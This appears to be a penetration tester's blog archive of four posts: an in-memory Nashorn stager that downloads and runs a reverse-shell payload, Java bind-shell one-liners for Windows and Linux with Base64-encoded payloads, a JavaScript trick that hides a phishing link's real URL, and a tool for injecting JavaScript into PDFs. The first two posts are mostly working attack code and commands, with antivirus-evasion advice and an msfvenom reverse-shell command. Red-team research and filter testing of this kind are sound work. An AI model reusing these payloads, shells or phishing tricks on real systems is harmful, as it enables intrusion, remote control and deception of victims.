Tag Archives: JavaScript

Java Stager without the Stager

I have been doing a lot of playing with Java recently. In fact, this will be the 3rd blog post in a month.

In this post I sought to merge the two threads and move away from “Java-Stager” to deliver the same payload via Nashorn.

Why bother?

If we revisit the goals of a stager, then you should see why this is significant:

  • Stager is a binary or script which is uploaded to the victim.
  • The stager needs to be benign in general to survive cursory analysis.
  • The stager then downloads the actual payload over HTTP straight into memory where it is hidden from lots of AV solutions.

The technique of hiding in memory is based on the work of James Williams with his “too hot for the Internet” video available here:


An AV vendor made a copyright claim which had the video pulled temporarily. Then because of that becoming a much bigger story it currently has 32k views. Which is about 30k more than the next most popular video from this year’s BSides Manchester.

The Stager jar file was a weak point of the Java-Stager post. While that is designed to be a proof of concept. It is true that uploading the jar file to Virus Total would probably see it being killed by AV within a few days.

By the end of this post we will have the functionality of Java Stager where everything pretty much happens in memory, and the “Stager” is now an Oracle signed binary which is part of the Java Runtime Environment.

Nashorn Payload

Now that I have a lovely Nashorn engine to play with I have implemented the same reverse shell over TCP which was given out with Java-Stager:


The following shows how to achieve the same results using only Nashorn code:

// Change this to point to your host
var host = "http:///";

// Load the NnClassLoader over HTTP 
load(host + "NnClassLoader.js");

// Use NnClassLoader to download Janino and Apache commons over HTTP
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");

// Import all the Objects that we need
var BufferedReader = Java.type("java.io.BufferedReader");
var InputStreamReader = Java.type("java.io.InputStreamReader");
var StringReader = Java.type("java.io.StringReader");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("java.net.URL");
var URLConnection = Java.type("java.net.URLConnection");

// Place Java-Stager's Payload.java file at root of web server.
// This code downloads the payload over HTTP
var payloadServer = new URL(host + "Payload.java");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
// Read the code into memory in a string
var inputLine;
var payloadCode = new StringBuffer();
while ((inputLine = ins.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
// Be tidy and close the input stream.
print("[*] Downloaded payload");

// Compile it using Janino
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;

// Execute "Run" method using reflection
print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static

print("[*] Payload, payloading ....");

Hopefully the comments clear up how that works. It basically does this:

  • Download over HTTP the “NnClassLoader.js” library which allows custom class loading.
  • Download the two java libraries required (janino, and commons-compiler). These are required for compilation in memory.
  • Download the payload over HTTP and save it into memory.
  • Compile the payload in memory.
  • Use reflection to execute the “Run” method of the “Payload” object to trigger the payload.

Pretty much the same process as before.

Preparing Attacker’s Server

Start an HTTP listener containing the following files in the web root:

  • NnClassLoader – Available from reference [1]
  • janino-3.0.8.jar – Available from reference [2]
  • commons-compiler-3.0.8.jar – Available from reference [3]
  • java – The same payload I made for Java-Stager works.

Then you start a metasploit multi/handler with the payload set to “generic/shell_reverse_tcp”. With the extra option “set ExitOnSession false” enabled the listener will remain active beyond the first victim connecting back.

Exploiting your victim

Obviously, do not do this on a machine that you are not legally allowed to. This is for research purposes only.

Caveat in mind? Good. All you do is take a copy of the Nashorn payload (shown above) and paste it into a text editor on your “victim”. Then all you need to do is:

  • Set the value of “host” to point to your HTTP listener
  • Save the above to disk as for example “revshell.js”

There are then three ways to run the “revshell.js” using jjs:

# As argument to jjs
jjs path/to/revshell.js

The pros of this is that it is damn easy. To find the cons look at the output Sysinternals process explorer. There you will see that this leaves an obvious path to the payload:


Which isn’t brilliant. The second way is to use “echo” to spoof sending stdin data to the jjs command prompt interface:

# echo spoofing stdin
echo load(“path/to/revshell.js”) | jjs

Looking at process explorer again shows that we have hidden the location of the payload:


The final method is to just use the command prompt interface and then issue the load command:

# launching jjs as shell and then loading it
jjs> load(“path/to/revshell.js”)

This again gets a clean looking output from process monitor which isn’t surprising since the last two are equivalent.

Doing it all in memory *

Now these are fine, but you are committing to saving a file on disk. If you want to do it all in memory, then you can:

  • Upload your “revshell.js” to your HTTP listener and then use “load()”.
  • Or paste the program line by line into the command prompt interface.

These both worked for me. But the final way of doing it is to Base64 encode your payload and then paste a 1 liner into jjs to make it work. To keep this as a “no tools on your victim” hack I would suggest using an online encoder for example:


Or you have options in powershell, certutil to encode base64 on Windows, and equivalent options in Linux.

Once you have a base64 encoded version of the payload just paste it into the one liner shown below over “ENCODED_TEXT”:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

This will do it in a one liner in memory. It will execute within the context of a binary signed by Oracle (jjs.exe), and. it will hide the input parameters from Process Explorer on Windows.

* Ok some of it touches disk

Using Systinternals process monitor with the filters set as shown:


I discovered that our jjs process (in this case with PID 3504) created some temporary files:


These are files created by “NnClassLoader”. They are local copies of the two dependencies “janino” and “commons-compiler”. These are NOT malicious and should pass any scrutiny since they are not from nefarious sources.

I think they are an improvement over my PoC Java-Stager which is toasted the second that someone uploads it to Virus total.

Put it together and what have you got?

Here is the Attacker setup and it catching the reverse shell back:


Here is the Victim executing the payload using the echo trick with Base64 encoding:


So that worked absolutely fine. Bibbity, bobbity, boo!

Trying to trigger AV Alerts

The payload used by Java-Stager and this Nashorn example are currently useful against, I would guess, most Anti-Virus solutions. The reasons being:

  • Most of what they do is in memory, a classic place to hide.
  • The payload has been written by me. The all time most effective AV bypass is to just write your own payload. If the customer’s AV solution has no signature to match against then you will get by long enough to finish up your engagement in most cases.

With those reasons stated I wanted to TRY and trigger an AV response out of a fully up-to-date Microsoft Defender. I hold Defender in high regard personally but that is just an opinion. So lets finish the post by using Eicar to trigger alerts.

Loading Eicar

In my target VM I tried using “load” to obtain a copy of the eicar string:


It downloaded into memory without issue but failed to execute because it isn’t valid JavaScript. No alert was raised, proving that on access scanning failed to find Eicar using in the same place we are hiding our payloads.

To trigger an actual alert because of Eicar I had to use Java to save the string to disk as shown:


The moment “fw.close()” was called Defender alerted on Eicar as expected.

Once more unto the breach

This is my final check I promise. As I was wrapping this up I thought that the Eicar string is really intended to be a file. It hardly ever gets any scrutiny in memory. It makes sense that it wasn’t caught one way but it was the other.

One final test I generated a straight unencoded payload using msfvenom as shown:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f asp > shell.asp

Then I downloaded it using the “load” command:


Again it wasn’t caught by Defender and again it failed to then execute because it was not a JavaScript file. Not really sure what more I should be doing to try and trigger an alert than trying a pure msfvenom payload.

There you have it. A living off the land binary which you can use to do things merely by copy/paste giving you new options for evading the blue team.


[1] https://github.com/NashornTools/NnClassLoader
[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/
[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/

Java gives a Shell for everything

Did you know that Java has shipped with a JavaScript engine which executes in memory and has been around for years? Well it does and it has. This rambling tale is about how I came about it over two engagements.

Tl;dr – the highlights of this post are:

  • Universal scripting capability via Java Runtime Environment (JRE)
  • Allowing in-memory only payloads
  • Great options for bind and reverse shells
  • For the red team connoisseurs a commonly available living off the land binary for all the above

Initial Discovery

On an engagement at the end of 2017 I was enumerating what I had to play with on a customers Workstation.

As part of build reviews I like to find:

  • Command prompts – cmd.exe, powershell.exe, ftp.exe etc; and
  • Scripting engines – powershell.exe, cscript.exe etc

This is standard practice at the start of enumeration really.

Looking in the “/bin” folder of the Java Runtime Environment (JRE) configured on the workstation I came across “jjs.exe”. This actually turned out to suit both purposes.

Using jjs.exe to get a command prompt on your workstation

Caveat; I am going to assume that binary white listing, and careful setup would neuter the technique. However, my target had none of that so I got to run wild. Lets stick to what I do know.

Double click on “jjs.exe” and you will get a command prompt interface as shown:


This is not terribly friendly because it doesn’t have any help baked in. A little reading around about what jjs is on Oracle’s website pointed out this was a JavaScript prompt. What is better is that it can call Java objects, as per reference [1]. That has an excellent write-up of how to call Java objects.

The following code can be used to achieve a slightly broken command prompt interface through jjs:

var pb = new java.lang.ProcessBuilder("cmd.exe","/k");

Then lets look at what I mean by slightly broken command prompt:


Initially you can see that there is no pass through of commands to “cmd.exe” so you cannot get the hostname. Then after pasting in the code and executing it you can see that every other line of input gets you command execution. Beggars cannot be choosers, this was better than no command prompt at all.

I filed it under a minor point of interest. Within the context of a locked down workstation you might have luck with this where other things have failed. If you get a crumb out of that be sure to ping me on Twitter (@cornerpirate) because I would love to know.

The rest of this post moves into different contexts entirely. An internal pentest where I needed to get a bind shell out of it.

Doing more with jjs.exe

A few months ago I hit a unique set of circumstances on a different engagement. Where we had an outdated version of Weblogic having a known RCE exploit. The network was setup to deny any and all reverse connections back. So a reverse shell was not an option. Add into the mix that *every* node on the network had endpoint protection software, some form of in-line traffic inspection, and you should understand they had done so many of the basics perfectly.

Pretty much every payload we lobbed at this thing didn’t work. We had less than ideal test conditions and had to infer the filtering device from behaviour, and only knew about the endpoint protection from another box.

While we assumed we had “RCE”. There was no detectable way of confirming that any payload was executing. The server lived in an area of the network that could not do external DNS. So using a Burp collaborator trick to force a detectable lookup did not confirm that the RCE even worked. Firing in the blind is hard.

We tried to write JSP webshells but were having difficulty guessing the web root etc.

We fell down trying to get bind shells. Starting with the venerable post from pentestmonkey [2]about reverse shells in various languages. I converted them all into bind shells (a post about that soon) and watched as none of them worked on that target.

Sometimes onsite work is brutal. I drove home feeling like a pretty shitty pentester having failed to get anything out of it.

Then I remembered that this is a WebLogic server so it would have Java installed. The bit of pentestmonkey’s cheat sheet for Java is also not perfect since it clearly relies on compiling Java. To compile Java you need to have the Java Development Kit (JDK) installed which in fairness a WebLogic server probably has.

I came up with two plans for attack the following morning:

  1. Make a one liner using jjs
  2. Consider echoing line by line my Java payload into a /tmp/exploit.java file, and then a “javac /tmp/exploit.java” and finally “java /tmp/exploit”.

The second one seems like it will work too but in the end I didn’t have to do that because option 1 worked.

Java One Liner Using jjs

The jjs shell has a “load” command which loads and executes a file. Your payload can be located on the victim’s hard disk or you can load things over HTTP. I show examples of both below:


There is an obvious quick win if you can get a reverse connection back from your victim. You simply deliver your payload over HTTP and you never touch disk. Obviously in my narrative here I could not use HTTP so I needed to find another solution.

jjs is an interactive command prompt meaning that the user has to be there to send commands via stdin. To do this you can simply use “echo” to print the command you want and simply redirect it into jjs:


Sweet. The example syntax would be this:

echo load("c:\wherever\payload.txt"); | jjs.exe 

That works if you want to stage your payload on disk. In addition to “load” it turned out that jjs supports “eval”. God I love me an “eval”. We will get to that in a minute but first lets see a bind shell:

var port=4444;      // Port to bind on
var cmd='cmd.exe';  // OS command to execute. 
// Bind to port
var serverSocket=new java.net.ServerSocket(port);
// Accept user connection
while(true){ // this while keeps the port bound when client disconnects
var s=serverSocket.accept();
// Redirect stdin, stderr and stdout from process to client.
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On Linux simply change “cmd.exe” to “/bin/bash”. The above has comments and extra white space to aid your understanding of it. I then stripped that back to create a one-line payload:

var serverSocket=new java.net.ServerSocket(4444);while(true){var s=serverSocket.accept();var p=new java.lang.ProcessBuilder('cmd.exe').redirectErrorStream(true).start();var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();}

The above has a lot of characters in there which can be problematic when we use echo to pass our one liner into jjs. Fortunately, Java has a Base64 decoder, so we can just use that. The following syntax shows how this would work with jjs:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

When I tested this, I found that a default install of Java on Linux placed jjs in the user’s path. This means that you can use the above syntax directly.

On Windows the binary is not in the path and even the “JAVA_HOME” environment variable is an optional luxury. To cope with that I figured out the command below:

cd "c:\Program Files\Java\jre1.8.*\bin" && jjs.exe

This works because “cd” accepts wildcards in the path. Then the “&&” executes “jjs.exe” only if the previous command successfully executed. Try the above out on Windows to confirm it works for you. If the system has a version of the JDK and the JRE installed simultaneously you can use a double wildcard as shown below:

cd "c:\Program Files\Java\j*1.8.*\bin" && jjs.exe

It doesn’t matter which version of jjs.exe we get so long as it is part of an install newer than 1.8 which makes the above work. If at first you don’t succeed try “1.9”, or “1.10” for newer versions.

Java Bind Shell One Liner for Windows

Finally, the one-liner that you are looking for as a payload on Windows is:

cd "c:\Program Files\Java\j*1.8.*\bin" && echo eval(new java.lang.String(java.util.Base64.decoder.decode(‘dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCdjbWQuZXhlJykucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBwaT1wLmdldElucHV0U3RyZWFtKCkscGU9cC5nZXRFcnJvclN0cmVhbSgpLCBzaT1zLmdldElucHV0U3RyZWFtKCk7dmFyIHBvPXAuZ2V0T3V0cHV0U3RyZWFtKCksc289cy5nZXRPdXRwdXRTdHJlYW0oKTt3aGlsZSghcy5pc0Nsb3NlZCgpKXt3aGlsZShwaS5hdmFpbGFibGUoKT4wKXNvLndyaXRlKHBpLnJlYWQoKSk7d2hpbGUoIHBlLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGUucmVhZCgpKTt3aGlsZShzaS5hdmFpbGFibGUoKT4wKXBvLndyaXRlKHNpLnJlYWQoKSk7c28uZmx1c2goKTtwby5mbHVzaCgpO2phdmEubGFuZy5UaHJlYWQuc2xlZXAoNTApO3RyeSB7cC5leGl0VmFsdWUoKTticmVhazt9Y2F0Y2ggKGUpe319O3AuZGVzdHJveSgpO3MuY2xvc2UoKTt9’))); | jjs.exe

What a long-winded way of getting around to a one liner but awesome fun figuring that out.

Java Bind Shell One Liner for Linux

Here is the equivalent if you want to do the same on Linux/Unix:

echo "eval(new java.lang.String(java.util.Base64.decoder.decode('dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCcvYmluL2Jhc2gnKS5yZWRpcmVjdEVycm9yU3RyZWFtKHRydWUpLnN0YXJ0KCk7dmFyIHBpPXAuZ2V0SW5wdXRTdHJlYW0oKSxwZT1wLmdldEVycm9yU3RyZWFtKCksIHNpPXMuZ2V0SW5wdXRTdHJlYW0oKTt2YXIgcG89cC5nZXRPdXRwdXRTdHJlYW0oKSxzbz1zLmdldE91dHB1dFN0cmVhbSgpO3doaWxlKCFzLmlzQ2xvc2VkKCkpe3doaWxlKHBpLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGkucmVhZCgpKTt3aGlsZSggcGUuYXZhaWxhYmxlKCk+MClzby53cml0ZShwZS5yZWFkKCkpO3doaWxlKHNpLmF2YWlsYWJsZSgpPjApcG8ud3JpdGUoc2kucmVhZCgpKTtzby5mbHVzaCgpO3BvLmZsdXNoKCk7amF2YS5sYW5nLlRocmVhZC5zbGVlcCg1MCk7dHJ5IHtwLmV4aXRWYWx1ZSgpO2JyZWFrO31jYXRjaCAoZSl7fX07cC5kZXN0cm95KCk7cy5jbG9zZSgpO30=')));" | jjs

Notice the double-quotes around the string which the Windows payload didn’t need? For those with eagle eyes (and a set of Base64 decoding goggles), the encoded string was modified to set the command to “/bin/bash”.

This was the one which worked for me on the customer engagement.

Using it with metasploit

Finally, if you want to use the same techniques via Metasploit it works with “generic\shell” payload. Provide the relevant one-liner as the value of the “PAYLOADSTR” being careful to escape all: double-quotes, single-quotes and backslashes by prefixing with a backslash.

If in doubt look at the value when using “show options” as that displays the final form that will be executed on the target. If your quotes or slashes are missing then escape harder!


I was rather happy with my shiny shell so I was going to get this blog post out. Then I had that thought which triggers doubt in every security researcher. Has someone got here before me? Turns out that yes someone had.

Take a bow Brett Hawkins. At the time I was doing my root dance he had posted reference [3]. Which covers things brilliantly.

However, he is using “jrunscript” instead of jjs. His post came out between me finding jjs on the first job and then getting the good shit on the second job. Seems that the theory of Multiple Discovery holds true again 😀

Brett has followed up his first post with another one at reference [4]. Loving his work.

Making it more dangerous

Why have I bothered posting my research when Brett has pretty much nailed it? A simple list of them:

  • He has blogged about “jrunscript” which I have omitted from this post precisely because he covered it.
  • His posts are applicable only when the victim is running JDK. This is not the most common form of Java. The bulk will have JRE installed.
  • Therefore the things I have listed above I would argue are much more dangerous. They will affect ANYTHING which is running Java.

Of course to trigger any of this you need to have command execution on the victim’s computer. The reason I am being so open here is that this is a commonly available scripting engine which can be integrated into various things. It is not a zero day exploit which will get anyone in to anything.

What you can do is establish bind and reverse TCP shells in a new language where the payloads are pretty universal. You can re-implement some of the amazing PowerShell libraries in Java and have another option which might go undetected.

If the trick in Red Teaming is currently to go living off the land (see reference [5]. What this gives people is another string to go plucking.


  1. https://winterbe.com/posts/2014/04/05/java8-nashorn-tutorial/
  2. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html
  4. https://h4wkst3r.blogspot.com/2018/08/byoj-bring-your-own-jrunscript.html
  5. https://github.com/api0cradle/LOLBAS



Dodgy Link: Hiding the URL

It is very rare that I do Phishing campaigns (dang it I should ask to do more as they are interesting).  I do have to answer customer questions, and talk about security awareness training often though.

I have heard people saying that “just hover your mouse over a suspicious link and it shows you where it is going!”. Generally this is a good feature of web browsers. However, it is definitely not to be relied on as shown in the video below:

With a tiny bit of JavaScript you can defeat that particular part of someone’s security awareness training. The source code is available below:

<a id="hey" href="http://totallylegit.com"
>Totally Legit</a>

Quite simple:

  1. When the mouse goes over the link the “onmouseover” event handler executes. This changes the URL to “http://www.totallylegit.com&#8221; so that is what the Web Browser shows to the user at the bottom.
  2. If the user actually clicks on the link the “onclick” event is triggered which replaces the URL with whatever we are actually wanting our victim to interact with.

Nothing new. Nothing earth shattering. I needed to document it as I have forgotten how to do this a few times but now it is written down forever. Hope it is useful.

Using JS2PDFInjector to check risks of PDF files with embedded JavaScript

Lets do a very short script for a play to set the scene for this one. Positions everyone:

CornerPirate: Love PDF? Love your JavaScript? Everyone’s favourite office file format and interactive code engine together!

*interlocks his finger*

CornerPirate: Let’s weave them together. What could possibly go wrong?

What could possibly go wrong indeed. No point dallying you can find out how that could go wrong at these places:

These are all way more detailed than I would choose to go on the subject and are worth a read.

Probably a great idea to make sure that your email, and Internet proxy blocks them coming inbound then isn’t it?

This post will show you a tool which can be used to inject JavaScript into a PDF so that you can evaluate your own inbound filtering system’s.

Get the tool

You can get the source and the built jar from the repository below:


Download the zip or clone it down it is your choice.

Using it

Goto the “dist” directory and run the jar file. In Windows you can double click on the jar if you have the Java Runtime installed. Alternatively you can run:

java -jar JS2PDFInjector.jar

When it launches it will:

  1. Ask you to select a PDF file to inject into.
  2. Ask you to select a file containing JavaScript that you want to run when users open the PDF.
  3. Create the new PDF with “js_injected_” into the file name and make a new file in the same directory as the original PDF.

Pretty simple I think. It could be a command line tool. But meh I wanted file choosers for some reason that day. You have the source so go fix it if you like.

Creating Payloads

The JavaScript APIs are slightly different from those you might be familiar with in web browsers. In order to understand exactly how to create payloads you are going to need to understand the APIs here:


As a pentester it is usually sufficient for me to simply evaluate the defences strip all JS from a PDF or quarantine the file on the way in. If your solution does not then I can infer that you could be doing more to protect yourself.

So for me it has been enough to go with a simple alert message like this one:

app.alert("Hello world!");

If you want to weaponize this by injecting malicious things, then you do so at your own legal risk and I am not responsible for your actions.

I just felt that if this was in anyway useful to someone then I should share it!

How to use your file legitimately

So you found this blog because you wanted to evaluate your companies defences against PDF’s with malware written in JavaScript? Awesome.

  1. Test your Anti-Virus [Local Only Test]
    1. Upload your PDF onto a server or workstation you want to test by USB or whatever works in your environment locally.
    2. Right click and scan with your anti-virus solution and see if it says anything.
    3. The chances are your PDF does not match any signature since you have made it yourself. However, if you have configured a solution which says it “warns when a PDF has JavaScript” or it “quarantines” such files. Check to see that it has found it.
    4. For bonus points if your AV is configured to log events centrally make sure someone has seen the log alert and has kicked off an investigation.
  2. Test your Email Filtering
    1. Use an external email address to email your PDF into a work address.
    2. If you have a complex system which has multiple in-line inspection points before it reaches a user. If the email arrives with the attachment intact and it triggers an alert or whatever your payload is in Adobe Reader? Then you should repeat step one (Local AV scan). Your company is at risk as you have found people can email in potentially dangerous PDF files. Repeating the AV scan manually will see if it will ever find that file. At this point the payload has already run and you have been compromised.
    3. If the email arrived but Adobe does not execute your payload. The chances are that you have something in-line before it hits users. This has attempted to remove the JavaScript from the PDF file but leave the original viewable content. Investigate on your filtering systems which component has done this and see if there was an appropriate alert raised and an investigation by a member of staff. This is still evidence that somebody *tried* to target your users.
  3. Test your Internet proxy Filtering
    1. Upload your PDF file to an Internet web server. It has to be the Internet because Microsoft’s various web browsers implements a “zone” model for security. The Internet zone is the least trusted so the fairest evaluation.
    2. Download the file in the default web browser for your users going through all Internet proxy and inspection routes.
    3. If the payload executes when opened in Adobe. Then you have found another route to download PDF files with JavaScript onto your target machine from an external source. Repeat step one to see if you have a last ditch defence in the AV. However, it is worth noting that the AV allowed the payload to run so…. hmmmm. You are already compromised and should look at the AV solution.
    4. Again. If the payload did not execute. Try to investigate where in the chain it happened, and then look for staff to have reacted to that alert.

You can take these techniques and alter them for all other routes into your organisation. A file-upload on a website? An SFTP service etc.

Hope that helps